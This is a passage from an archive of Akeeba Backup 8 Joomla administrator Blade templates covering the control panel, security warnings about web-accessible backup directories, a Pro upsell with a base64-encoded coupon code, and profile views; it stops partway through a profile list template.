        <a href="https://www.akeeba.com/download.html" class="akeeba-btn--green--big--block" style="font-size: 1.5rem; margin: 2rem 0">
            <span class="akion akion-ios-download" aria-hidden="true"></span>
            Download Akeeba Backup 9 now
        </a>
    </p>
</div>

@if (version_compare(JVERSION, '4.1.0', 'ge'))
<p class="small" id="akeebaBackup8WrapperToggleWrapper">
    <a href="#" id="akeebaBackup8WrapperToggle">
        I would like to use Akeeba Backup 8 <em>at my own risk</em>
    </a>
    <br/>
    <span style="font-size: smaller">
    By clicking this link you agree that you are doing something we explicitly told you NOT to do, you are fully responsible for your actions and their consequences, the interface or functionality might be broken, you might lose data or damage your site, and that you are not eligible for any support whatsoever.
    </span>
</p>

<div class="akeeba-block--failure--large" id="akeebaBackup8UnsafeWrapper" style="display: none">
    <h3>You are using Akeeba Backup in an UNSUPPORTED environment AT YOUR OWN RISK</h3>
    <p>
        Akeeba Backup 8 is NOT supported for use on Joomla! <?= JVERSION ?>.
    </p>
    <p>
        You have chosen to use it anyway, AT YOUR OWN RISK. By doing this you understand that:
    </p>
    <ul>
        <li>you are doing something we explicitly told you <u>NOT</u> to do.</li>
        <li>you are fully responsible for your actions <strong>and</strong> their consequences.</li>
        <li>the interface or the functionality of the component may be not work fully, correctly or at all.</li>
        <li>you might lose data or otherwise damage your site.</li>
        <li>you are not eligible for <em>ANY SUPPORT WHATSOEVER</em>.</li>
    </ul>
    <p>
        We <strong>VERY STRONGLY</strong> advise you to upgrade to the latest version of Akeeba Backup 9 or later.
    </p>
    <p>
        Consider yourself warned.
    </p>
</div>
@endif
com_akeeba/tmpl/ControlPanel/icons_basic.blade.php000060400000003451152455305260016227 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

?>
<section class="akeeba-panel--info">
    <header class="akeeba-block-header">
        <h3>@lang('COM_AKEEBA_CPANEL_HEADER_BASICOPS')</h3>
    </header>

    <div class="akeeba-grid">
	    @if($this->permissions['backup'])
            <a class="akeeba-action--green"
               href="index.php?option=com_akeeba&view=Backup">
                <span class="akion-play"></span>
	            @lang('COM_AKEEBA_BACKUP')
            </a>
	    @endif

	    @if($this->permissions['download'] && AKEEBA_PRO)
            <a class="akeeba-action--green"
                href="index.php?option=com_akeeba&view=Transfer">
                <span class="akion-android-open"></span>
	            @lang('COM_AKEEBA_TRANSFER')
            </a>
	    @endif

        <a class="akeeba-action--teal"
            href="index.php?option=com_akeeba&view=Manage">
            <span class="akion-ios-list"></span>
	        @lang('COM_AKEEBA_BUADMIN')
        </a>

	    @if($this->permissions['configure'])
            <a class="akeeba-action--teal"
                href="index.php?option=com_akeeba&view=Configuration">
                <span class="akion-ios-gear"></span>
	            @lang('COM_AKEEBA_CONFIG')
            </a>
	    @endif

	    @if($this->permissions['configure'])
            <a class="akeeba-action--teal"
                href="index.php?option=com_akeeba&view=Profiles">
                <span class="akion-person-stalker"></span>
	            @lang('COM_AKEEBA_PROFILES')
            </a>
	    @endif
    </div>
</section>
com_akeeba/tmpl/ControlPanel/sidebar_status.blade.php000060400000004475152455305260016776 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

?>
<div class="akeeba-panel">
    <header class="akeeba-block-header">
        <h3>@lang('COM_AKEEBA_CPANEL_LABEL_STATUSSUMMARY')</h3>
    </header>

    <div>
        {{-- Backup status summary --}}
        {{ $this->statusCell }}

        {{-- Warnings --}}
        @if($this->countWarnings)
            <div>
                {{ $this->detailsCell }}
            </div>
            <hr />
        @endif

        {{-- Version --}}
        <p class="ak_version">
            @lang('COM_AKEEBA') {{ AKEEBA_PRO ? 'Professional ' : 'Core'; }} {{ AKEEBA_VERSION }} ({{ AKEEBA_DATE }})
        </p>

        {{-- Changelog --}}
        <a href="#" id="btnchangelog" class="akeeba-btn--primary">CHANGELOG</a>

        <div id="akeeba-changelog" tabindex="-1" role="dialog" aria-hidden="true" style="display:none;">
            <div class="akeeba-renderer-fef">
                <div class="akeeba-panel--info">
                    <header class="akeeba-block-header">
                        <h3>
                            @lang('CHANGELOG')
                        </h3>
                    </header>
                    <div id="DialogBody">
                        {{ $this->formattedChangelog }}
                    </div>
                </div>
            </div>
        </div>

        {{-- Donation CTA --}}
        @if( ! (AKEEBA_PRO))
            <a
                    href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=KDVQPB4EREBPY&source=url"
                    class="akeeba-btn-green">
                Donate via PayPal
            </a>
        @endif

        {{-- Pro upsell --}}
        @if(!AKEEBA_PRO && (time() - $this->lastUpsellDismiss < 1296000))
            <p style="margin: 0.5em 0">
                <a href="https://www.akeeba.com/landing/akeeba-backup.html"
                   class="akeeba-btn--ghost--small">
                    <span class="aklogo-backup-j"></span>
                    @lang('COM_AKEEBA_CONTROLPANEL_BTN_LEARNMORE')
                </a>
            </p>
        @endif
    </div>
</div>
com_akeeba/tmpl/ControlPanel/icons_troubleshooting.blade.php000060400000002063152455305260020373 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

?>
<section class="akeeba-panel--info">
    <header class="akeeba-block-header">
        <h3>@lang('COM_AKEEBA_CPANEL_HEADER_TROUBLESHOOTING')</h3>
    </header>

    <div class="akeeba-grid">
	    @if($this->permissions['backup'])
            <a class="akeeba-action--teal"
                href="index.php?option=com_akeeba&view=Log">
                <span class="akion-ios-search-strong"></span>
	            @lang('COM_AKEEBA_LOG')
            </a>
	    @endif

	    @if(AKEEBA_PRO && $this->permissions['configure'])
            <a class="akeeba-action--teal"
                href="index.php?option=com_akeeba&view=Alice">
                <span class="akion-medkit"></span>
	            @lang('COM_AKEEBA_ALICE')
            </a>
	    @endif
    </div>
</section>
com_akeeba/tmpl/ControlPanel/warnings.blade.php000060400000023066152455305260015607 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

$cloudFlareTestFile = 'CLOUDFLARE::' . $this->getContainer()->template->parsePath('media://com_akeeba/js/ControlPanel.min.js');
$cloudFlareTestFile .= '?' . $this->getContainer()->mediaVersion;

?>

{{-- Configuration Wizard pop-up --}}
@if($this->promptForConfigurationWizard)
    @include('admin:com_akeeba/Configuration/confwiz_modal')
@endif

{{-- Stuck database updates warning --}}
@if ($this->stuckUpdates)
    <div class="akeeba-block--warning">
        <p>
            @sprintf('COM_AKEEBA_CPANEL_ERR_UPDATE_STUCK', $this->getContainer()->db->getPrefix(), 'index.php?option=com_akeeba&view=ControlPanel&task=forceUpdateDb')
        </p>
    </div>
@endif

{{-- Potentially web accessible output directory --}}
@if ($this->isOutputDirectoryUnderSiteRoot)
    <!--
    Oh, hi there! It looks like you got curious and are peeking around your browser's developer tools – or just the
    source code of the page that loaded on your browser. Cool! May I explain what we are seeing here?

    Just to let you know, the next three DIVs (outDirSystem, insecureOutputDirectory and missingRandomFromFilename) are
    HIDDEN and their existence doesn't mean that your site has an insurmountable security issue. To the contrary.
    Whenever Akeeba Backup detects that the backup output directory is under your site's root it will CHECK its security
    i.e. if it's really accessible over the web. This check is performed with an AJAX call to your browser so if it
    takes forever or gets stuck you won't see a frustrating blank page in your browser. If AND ONLY IF a problem is
    detected said JavaScript will display one of the following DIVs, depending on what is applicable.

    So, to recap. These hidden DIVs? They don't indicate a problem with your site. If one becomes visible then – and
    ONLY then – should you do something about it, as instructed. But thank you for being curious. Curiosity is how you
    get involved with and better at web development. Stay curious!
    -->
    {{-- Web accessible output directory that coincides with or is inside in a CMS system folder --}}
    <details class="akeeba-block--failure" id="outDirSystem" style="display: none">
        <summary>@lang('COM_AKEEBA_CPANEL_HEAD_OUTDIR_INVALID')</summary>
        <p>
            @sprintf('COM_AKEEBA_CPANEL_LBL_OUTDIR_LISTABLE', realpath($this->getModel()->getOutputDirectory()))
        </p>
        <p>
            @lang('COM_AKEEBA_CPANEL_LBL_OUTDIR_ISSYSTEM')
        </p>
        <p>
            @lang('COM_AKEEBA_CPANEL_LBL_OUTDIR_ISSYSTEM_FIX')
            @lang('COM_AKEEBA_CPANEL_LBL_OUTDIR_DELETEORBEHACKED')
        </p>
    </details>

    {{-- Output directory can be listed over the web --}}
    <details class="akeeba-block--{{ $this->hasOutputDirectorySecurityFiles ? 'failure' : 'warning' }}" id="insecureOutputDirectory" style="display: none">
        <summary>
            @if ($this->hasOutputDirectorySecurityFiles)
            @lang('COM_AKEEBA_CPANEL_HEAD_OUTDIR_UNFIXABLE')
            @else
            @lang('COM_AKEEBA_CPANEL_HEAD_OUTDIR_INSECURE')
            @endif
        </summary>
        <p>
            @sprintf('COM_AKEEBA_CPANEL_LBL_OUTDIR_LISTABLE', realpath($this->getModel()->getOutputDirectory()))
        </p>
        @if (!$this->hasOutputDirectorySecurityFiles)
        <p>
            @lang('COM_AKEEBA_CPANEL_LBL_OUTDIR_CLICKTHEBUTTON')
        </p>
        <p>
            @lang('COM_AKEEBA_CPANEL_LBL_OUTDIR_FIX_SECURITYFILES')
        </p>

        <form action="index.php" method="POST" class="akeeba-form--inline">
            <input type="hidden" name="option" value="com_akeeba">
            <input type="hidden" name="view" value="ControlPanel">
            <input type="hidden" name="task" value="fixOutputDirectory">
            <input type="hidden" name="@token()" value="1">

            <button type="submit" class="akeeba-btn--block--green">
                <span class="akion-hammer"></span>
                @lang('COM_AKEEBA_CPANEL_BTN_FIXSECURITY')
            </button>
        </form>
        @else
        <p>
            @lang('COM_AKEEBA_CPANEL_LBL_OUTDIR_TRASHHOST')
            @lang('COM_AKEEBA_CPANEL_LBL_OUTDIR_DELETEORBEHACKED')
        </p>
        @endif
    </details>

    {{-- Output directory cannot be listed over the web but I can download files --}}
    <details class="akeeba-block--warning" id="missingRandomFromFilename" style="display: none">
        <summary>
            @lang('COM_AKEEBA_CPANEL_HEAD_OUTDIR_INSECURE_ALT')
        </summary>
        <p>
            @sprintf('COM_AKEEBA_CPANEL_LBL_OUTDIR_FILEREADABLE', realpath($this->getModel()->getOutputDirectory()))
        </p>
        <p>
            @lang('COM_AKEEBA_CPANEL_LBL_OUTDIR_CLICKTHEBUTTON')
        </p>
        <p>
            @lang('COM_AKEEBA_CPANEL_LBL_OUTDIR_FIX_RANDOM')
        </p>

        <form action="index.php" method="POST" class="akeeba-form--inline">
            <input type="hidden" name="option" value="com_akeeba">
            <input type="hidden" name="view" value="ControlPanel">
            <input type="hidden" name="task" value="addRandomToFilename">
            <input type="hidden" name="@token()" value="1">

            <button type="submit" class="akeeba-btn--block--green">
                <span class="akion-hammer"></span>
                @lang('COM_AKEEBA_CPANEL_BTN_FIXSECURITY')
            </button>
        </form>
    </details>

@endif

{{-- mbstring warning --}}
@unless($this->checkMbstring)
    <div class="akeeba-block--warning">
        @sprintf('COM_AKEEBA_CPANL_ERR_MBSTRING', PHP_VERSION)
    </div>
@endunless

{{-- Front-end backup secret word reminder --}}
@unless(empty($this->frontEndSecretWordIssue))
    <details class="akeeba-block--failure">
        <summary>@lang('COM_AKEEBA_CPANEL_ERR_FESECRETWORD_HEADER')</summary>
        <p>@lang('COM_AKEEBA_CPANEL_ERR_FESECRETWORD_INTRO')</p>
        <p>{{ $this->frontEndSecretWordIssue }}</p>
        <p>
            @lang('COM_AKEEBA_CPANEL_ERR_FESECRETWORD_WHATTODO_JOOMLA')
            @sprintf('COM_AKEEBA_CPANEL_ERR_FESECRETWORD_WHATTODO_COMMON', $this->newSecretWord)
        </p>
        <p>
            <a class="akeeba-btn--green akeeba-btn--big"
               href="index.php?option=com_akeeba&view=ControlPanel&task=resetSecretWord&@token(true)=1">
                <span class="akion-refresh"></span>
                @lang('COM_AKEEBA_CPANEL_BTN_FESECRETWORD_RESET')
            </a>
        </p>
    </details>
@endunless

{{-- Wrong media directory permissions --}}
@unless($this->areMediaPermissionsFixed)
    <details id="notfixedperms" class="akeeba-block--failure">
        <summary>@lang('COM_AKEEBA_CONTROLPANEL_WARN_WARNING')</summary>
        <p>@lang('COM_AKEEBA_CONTROLPANEL_WARN_PERMS_L1')</p>
        <p>@lang('COM_AKEEBA_CONTROLPANEL_WARN_PERMS_L2')</p>
        <ol>
            <li>@lang('COM_AKEEBA_CONTROLPANEL_WARN_PERMS_L3A')</li>
            <li>@lang('COM_AKEEBA_CONTROLPANEL_WARN_PERMS_L3B')</li>
        </ol>
        <p>@lang('COM_AKEEBA_CONTROLPANEL_WARN_PERMS_L4')</p>
    </details>
@endunless

{{-- You need to enter your Download ID --}}
@if($this->needsDownloadID)
    <details class="akeeba-block--warning">
        <summary>
            @lang('COM_AKEEBA_CPANEL_MSG_MUSTENTERDLID')
        </summary>
        <p>
            @sprintf('COM_AKEEBA_LBL_CPANEL_NEEDSDLID','https://www.akeeba.com/download/official/add-on-dlid.html')
        </p>
        <form name="dlidform" action="index.php" method="post" class="akeeba-form--inline">
            <input type="hidden" name="option" value="com_akeeba" />
            <input type="hidden" name="view" value="ControlPanel" />
            <input type="hidden" name="task" value="applydlid" />
            <input type="hidden" name="@token(true)" value="1" />
            <div class="akeeba-form-group">
                <label for="dlid">@lang('COM_AKEEBA_CPANEL_MSG_PASTEDLID')</label>
                <input type="text" name="dlid" placeholder="@lang('COM_AKEEBA_CONFIG_DOWNLOADID_LABEL')"
                       class="akeeba-input--wide">

                <button type="submit" class="akeeba-btn--green">
                    <span class="akion-checkmark-round"></span>
                    @lang('COM_AKEEBA_CPANEL_MSG_APPLYDLID')
                </button>
            </div>
        </form>
    </details>
@endif

{{-- You have CORE; you need to upgrade, not just enter a Download ID --}}
@if($this->coreWarningForDownloadID)
    <div class="akeeba-block--warning">
        @sprintf('COM_AKEEBA_LBL_CPANEL_NEEDSUPGRADE','http://akee.ba/abcoretopro')
    </div>
@endif

{{-- Warn about CloudFlare Rocket Loader --}}
<details class="akeeba-block--failure" style="display: none;" id="cloudFlareWarn">
    <summary>@lang('COM_AKEEBA_CPANEL_MSG_CLOUDFLARE_WARN')</summary>
    <p>@sprintf('COM_AKEEBA_CPANEL_MSG_CLOUDFLARE_WARN1', 'https://support.cloudflare.com/hc/en-us/articles/200169456-Why-is-JavaScript-or-jQuery-not-working-on-my-site-')</p>
</details>
<?php
/**
 * DO NOT USE INLINE JAVASCRIPT FOR THIS SCRIPT. DO NOT REMOVE THE ATTRIBUTES.
 *
 * This is a specialised test which looks for CloudFlare's completely broken RocketLoader feature and warns the user
 * about it.
 */
?>
<script type="text/javascript" data-cfasync="true">
    var test = localStorage.getItem('<?php echo $cloudFlareTestFile?>');
    if (test)
    {
        document.getElementById("cloudFlareWarn").style.display = "block";
    }
</script>
com_akeeba/tmpl/ControlPanel/upgrade.blade.php000060400000002760152455305260015404 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

// Only show in the Core version with a 10% probability
if (AKEEBA_PRO) return;

// Only show if it's at least 15 days since the last time the user dismissed the upsell
if (time() - $this->lastUpsellDismiss < 1296000) return;

?>
<div class="akeeba-panel--orange">
    <header class="akeeba-block-header">
        <h3>
            <span class="akion-ios-star"></span>
            @lang('COM_AKEEBA_CONTROLPANEL_HEAD_PROUPSELL')
        </h3>
    </header>

    <p>@lang('COM_AKEEBA_CONTROLPANEL_HEAD_LBL_PROUPSELL_1')</p>

    <p class="akeeba-block--info">@sprintf('COM_AKEEBA_CONTROLPANEL_HEAD_LBL_DISCOUNT',
        base64_decode('SVdBTlRJVEFMTA=='))</p>

    <p>@lang('COM_AKEEBA_CONTROLPANEL_HEAD_LBL_PROUPSELL_2')</p>

    <p>
        <a href="https://www.akeeba.com/landing/akeeba-backup.html"
           class="akeeba-btn--large--primary">
            <span class="aklogo-backup-j"></span>
            @lang('COM_AKEEBA_CONTROLPANEL_BTN_LEARNMORE')
        </a>

        <a href="@route('index.php?view=ControlPanel&task=dismissUpsell')" class="akeeba-btn--ghost--small">
            <span class="akion-ios-alarm"></span>
            @lang('COM_AKEEBA_CONTROLPANEL_BTN_HIDE')
        </a>
    </p>
</div>
com_akeeba/tmpl/ControlPanel/sidebar_backup.blade.php000060400000000756152455305260016716 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

?>
<div class="akeeba-panel">
    <header class="akeeba-block-header">
        <h3>@lang('COM_AKEEBA_BACKUP_STATS')</h3>
    </header>
    <div>{{ $this->latestBackupCell }}</div>
</div>
com_akeeba/tmpl/ControlPanel/oneclick.blade.php000060400000001575152455305260015547 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

?>
<section class="akeeba-panel--primary">

    <header class="akeeba-block-header">
        <h3>@lang('COM_AKEEBA_CPANEL_HEADER_QUICKBACKUP')</h3>
    </header>

    <div class=" akeeba-grid">
	    @foreach($this->quickIconProfiles as $qiProfile)
            <a class="akeeba-action--green"
               href="index.php?option=com_akeeba&view=Backup&autostart=1&profileid={{ (int) $qiProfile->id }}&@token(true)=1">
                <span class="akion-play"></span>
                <span>{{{ $qiProfile->description }}}</span>
            </a>
	    @endforeach
    </div>

</section>
com_akeeba/tmpl/ControlPanel/default.blade.php000060400000004107152455305260015376 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

?>
@if (class_exists('Joomla\CMS\Component\ComponentHelper') && \Joomla\CMS\Component\ComponentHelper::isEnabled('com_akeebabackup'))
	@include('admin:com_akeeba/ControlPanel/backup8_uninstall')
	<?php return; ?>
@elseif (version_compare(JVERSION, '3.999.999', 'gt'))
	@include('admin:com_akeeba/ControlPanel/backup9_install')
@endif

<div id="akeebaBackup8Wrapper">
{{-- Display various possible warnings about issues which directly affect the user's experience --}}
@include('admin:com_akeeba/ControlPanel/warnings')

{{-- Main area --}}
<div class="akeeba-container--66-33">
	{{-- LEFT COLUMN (66% desktop width) --}}
	<div>
		{{-- Active profile switch --}}
		@include('admin:com_akeeba/ControlPanel/profile')

		{{-- One Click Backup icons --}}
		@if( ! (empty($this->quickIconProfiles)) && $this->permissions['backup'])
			@include('admin:com_akeeba/ControlPanel/oneclick')
		@endif

		{{-- Basic operations --}}
		@include('admin:com_akeeba/ControlPanel/icons_basic')

		{{-- Core Upgrade --}}
		@include('admin:com_akeeba/ControlPanel/upgrade')

		{{-- Troubleshooting --}}
		@include('admin:com_akeeba/ControlPanel/icons_troubleshooting')

		{{-- Advanced operations --}}
		@include('admin:com_akeeba/ControlPanel/icons_advanced')

		{{-- Include / Exclude data --}}
		@if($this->permissions['configure'])
			@include('admin:com_akeeba/ControlPanel/icons_includeexclude')
		@endif
	</div>
	{{-- RIGHT COLUMN (33% desktop width) --}}
	<div>
		{{-- Status Summary --}}
		@include('admin:com_akeeba/ControlPanel/sidebar_status')

		{{-- Backup stats --}}
		@include('admin:com_akeeba/ControlPanel/sidebar_backup')
	</div>
</div>

{{-- Footer --}}
@include('admin:com_akeeba/ControlPanel/footer')
</div>

{{-- Usage statistics collection IFRAME --}}
@if ($this->statsIframe)
	{{ $this->statsIframe }}
@endifcom_akeeba/tmpl/ControlPanel/icons_includeexclude.blade.php000060400000003645152455305260020150 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

?>

<section class="akeeba-panel--info">
    <header class="akeeba-block-header">
        <h3>@lang('COM_AKEEBA_CPANEL_HEADER_INCLUDEEXCLUDE')</h3>
    </header>

    <div class="akeeba-grid">
        @if(AKEEBA_PRO)
            <a class="akeeba-action--green"
                href="index.php?option=com_akeeba&view=MultipleDatabases">
                <span class="akion-arrow-swap"></span>
	            @lang('COM_AKEEBA_MULTIDB')
            </a>

            <a class="akeeba-action--green"
                href="index.php?option=com_akeeba&view=IncludeFolders">
                <span class="akion-folder"></span>
	            @lang('COM_AKEEBA_INCLUDEFOLDER')
            </a>
        @endif

        <a class="akeeba-action--red"
            href="index.php?option=com_akeeba&view=FileFilters">
            <span class="akion-filing"></span>
	        @lang('COM_AKEEBA_FILEFILTERS')
        </a>

        <a class="akeeba-action--red"
            href="index.php?option=com_akeeba&view=DatabaseFilters">
            <span class="akion-ios-grid-view"></span>
	        @lang('COM_AKEEBA_DBFILTER')
        </a>

        @if(AKEEBA_PRO)
            <a class="akeeba-action--red"
                href="index.php?option=com_akeeba&view=RegExFileFilters">
                <span class="akion-ios-folder"></span>
	            @lang('COM_AKEEBA_REGEXFSFILTERS')
            </a>

            <a class="akeeba-action--red"
                href="index.php?option=com_akeeba&view=RegExDatabaseFilters">
                <span class="akion-ios-box"></span>
	            @lang('COM_AKEEBA_REGEXDBFILTERS')
            </a>
        @endif

    </div></section>
com_akeeba/tmpl/ControlPanel/icons_advanced.blade.php000060400000003146152455305260016714 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

// All of the buttons in this panel require the Configure privilege
if (!$this->permissions['configure'])
{
	return;
}
?>
@if(AKEEBA_PRO)
    <section class="akeeba-panel--info">
        <header class="akeeba-block-header">
            <h3>@lang('COM_AKEEBA_CPANEL_HEADER_ADVANCED')</h3>
        </header>

        <div class="akeeba-grid">
            @if($this->permissions['configure'])
                <a class="akeeba-action--teal"
                   href="index.php?option=com_akeeba&view=Schedule">
                    <span class="akion-calendar"></span>
                    @lang('COM_AKEEBA_SCHEDULE')
                </a>
            @endif

            @if($this->permissions['configure'])
                <a class="akeeba-action--orange"
                   href="index.php?option=com_akeeba&view=Discover">
                    <span class="akion-ios-download"></span>
                    @lang('COM_AKEEBA_DISCOVER')
                </a>
            @endif

            @if($this->permissions['configure'])
                <a class="akeeba-action--orange"
                   href="index.php?option=com_akeeba&view=S3Import">
                    <span class="akion-ios-cloud-download"></span>
                    @lang('COM_AKEEBA_S3IMPORT')
                </a>
            @endif
        </div>
    </section>
@endif
com_akeeba/tmpl/ControlPanel/warning_phpversion.blade.php000060400000000774152455305260017702 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2022 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

use FOF40\Date\Date;

?>
{{-- Old PHP version reminder --}}
@include('admin:com_akeeba/CommonTemplates/phpversion_warning', [
    'softwareName'  => 'Akeeba Backup',
    'minPHPVersion' => '7.2.0',
])
com_akeeba/tmpl/ControlPanel/footer.blade.php000060400000002026152455305260015246 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

?>
<div class="row-fluid footer akeebabackup-footer">
	<div class="span12">
		<p style="height: 6em">
			@sprintf('Copyright &copy;2006-%s <a href="https://www.akeeba.com">Akeeba Ltd</a>. All Rights Reserved.', date('Y'))
			<br/>
			Akeeba Backup is Free Software and is distributed under the terms of the <a
					href="http://www.gnu.org/licenses/gpl-3.0.html">GNU General Public License</a>, version 3 or - at
			your option - any later version.
			@if(AKEEBA_PRO != 1)
				<br/>If you use Akeeba Backup Core, please post a rating and a review at the <a
						href="https://extensions.joomla.org/extensions/extension/access-a-security/site-security/akeeba-backup/">Joomla!
					Extensions Directory</a>.
			@endif
		</p>
	</div>
</div>
com_akeeba/tmpl/Profiles/item_json.blade.php000060400000002040152455305260015116 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Akeeba\Engine\Factory;
use Joomla\CMS\Document\JsonDocument;

/** @var Akeeba\Backup\Admin\View\Profiles\Json $this */

$data = $this->item->getData();

if (substr($data['configuration'], 0, 12) == '###AES128###')
{
	// Load the server key file if necessary
	if (!defined('AKEEBA_SERVERKEY'))
	{
		$filename = JPATH_COMPONENT_ADMINISTRATOR . '/BackupEngine/serverkey.php';

		include_once $filename;
	}

	$key = Factory::getSecureSettings()->getKey();

	$data['configuration'] = Factory::getSecureSettings()->decryptSettings($data['configuration'], $key);
}

$defaultName = $this->input->get('view', 'joomla', 'cmd');
$filename    = $this->input->get('basename', $defaultName, 'cmd');

/** @var JsonDocument $document */
$document = \Joomla\CMS\Factory::getApplication()->getDocument();
$document->setName($filename);

echo json_encode($data);
com_akeeba/tmpl/Profiles/form.blade.php000060400000002424152455305260014100 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

?>
<form action="index.php" method="post" name="adminForm" id="adminForm"
      class="akeeba-form--horizontal--with-hidden akeeba-panel--information">
    <div class="akeeba-form-group">
    </div>

    <div class="akeeba-form-group">
        <label for="description">
            @jhtml('tooltip', \Joomla\CMS\Language\Text::_('COM_AKEEBA_PROFILES_LABEL_DESCRIPTION_TOOLTIP'), '', '', \Joomla\CMS\Language\Text::_('COM_AKEEBA_PROFILES_LABEL_DESCRIPTION'))
        </label>
        <input type="text" name="description" class="span6" id="description" value="{{{ $this->item->description }}}" />
    </div>

    <div class="akeeba-hidden-fields-container">
        <input type="hidden" name="option" value="com_akeeba" />
        <input type="hidden" name="view" value="Profiles" />
        <input type="hidden" name="boxchecked" id="boxchecked" value="0" />
        <input type="hidden" name="task" id="task" value="save" />
        <input type="hidden" name="id" id="id" value="{{ (int)$this->item->id }}" />
        <input type="hidden" name="@token(true)" value="1" />
    </div>
</form>
com_akeeba/tmpl/Profiles/default.blade.php000060400000015726152455305260014572 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

?>

<form action="index.php" method="post" name="adminForm" id="adminForm" class="akeeba-form akeeba-form--with-hidden">
    @include('admin:com_akeeba/CommonTemplates/ProfileName')

    <section class="akeeba-panel--50-50 akeeba-filter-bar-container">
        <div class="akeeba-filter-bar akeeba-filter-bar--left akeeba-form-section akeeba-form--inline">
            <div class="akeeba-filter-element akeeba-form-group">
                <input type="text" name="description" id="description"
                       value="{{{ $this->getModel()->getState('description', '', 'string') }}}" size="30"
                       class="akeebaGridViewAutoSubmitOnChange"
                       placeholder="@lang('COM_AKEEBA_PROFILES_COLLABEL_DESCRIPTION')"
                />
            </div>
        </div>
        <div class="akeeba-filter-bar akeeba-filter-bar--right">
            <div class="akeeba-filter-element akeeba-form-group">
                <label for="limit" class="element-invisible">
                    @lang('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC')
                </label>
                {{ $this->pagination->getLimitBox() }}
            </div>

            <div class="akeeba-filter-element akeeba-form-group">
                <label for="directionTable" class="element-invisible">
                    @lang('JFIELD_ORDERING_DESC')
                </label>
                <select name="directionTable" id="directionTable"
                        class="input-medium custom-select akeebaGridViewOrderTable">
                    <option value="">
                        @lang('JFIELD_ORDERING_DESC')
                    </option>
                    <option value="asc" {{ ($this->getLists()->order_Dir == 'asc') ? 'selected="selected"' : '' }}>
                        @lang('JGLOBAL_ORDER_ASCENDING')
                    </option>
                    <option value="desc" {{ ($this->getLists()->order_Dir == 'desc') ? 'selected="selected"' : '' }}>
                        @lang('JGLOBAL_ORDER_DESCENDING')
                    </option>
                </select>
            </div>

            <div class="akeeba-filter-element akeeba-form-group">
                <label for="sortTable" class="element-invisible">
                    @lang('JGLOBAL_SORT_BY')
                </label>
                <select name="sortTable" id="sortTable" class="input-medium custom-select akeebaGridViewOrderTable">
                    <option value="">
                        @lang('JGLOBAL_SORT_BY')
                    </option>
